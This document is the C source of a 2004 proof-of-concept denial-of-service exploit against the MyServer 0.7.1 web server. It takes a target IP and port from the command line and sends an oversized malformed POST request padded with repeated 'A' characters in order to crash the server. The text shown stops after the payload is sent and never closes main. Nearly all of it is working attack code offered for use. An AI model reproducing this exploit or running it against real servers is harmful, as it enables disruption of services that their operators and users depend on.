/****************************/
PoC to crash the server
/****************************/

/* MyServer 0.7.1 POST Denial Of Service
vendor URL:
http://www.myserverproject.net

coded and discovered by:
badpack3t <badpack3t@security-protocols.com>
for .:sp research labs:.
www.security-protocols.com
9.20.2004
Tested on Mandrake 10.0

usage:
sp-myserv-0.7.1 <targetip> [targetport] (default is 80)
*/

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char exploit[] =

"POST index.html?View=Logon HTTP/1.1\r\n"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
": ihack.ms\r\n\r\n";

int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET mysocket;

if (argc < 2)
{
printf("MyServer 0.7.1 POST DoS by badpack3t\r\n <badpack3t@security-protocols.com>\r\n\r\n", argv[0]);
printf("Usage:\r\n %s <targetip> [targetport] (default is 80)\r\n\r\n", argv[0]);
printf("www.security-protocols.com\;r\n\r\n", argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1];
port = 80;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);

mysocket = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket==INVALID_SOCKET)
{
printf("Socket error!\r\n");
exit(1);
}

printf("Resolving Hostnames...\n");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("Resolve of %s failed\n", argv[1]);
exit(1);
}

memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf("Connecting...\n");
if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("Couldn't connect to host.\n");
exit(1);
}

printf("Connected!...\n");
printf("Sending Payload...\n");
if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
{
printf("Error Sending the Exploit Payload\r\n");
closesocket(mysocket);
exit(1);
}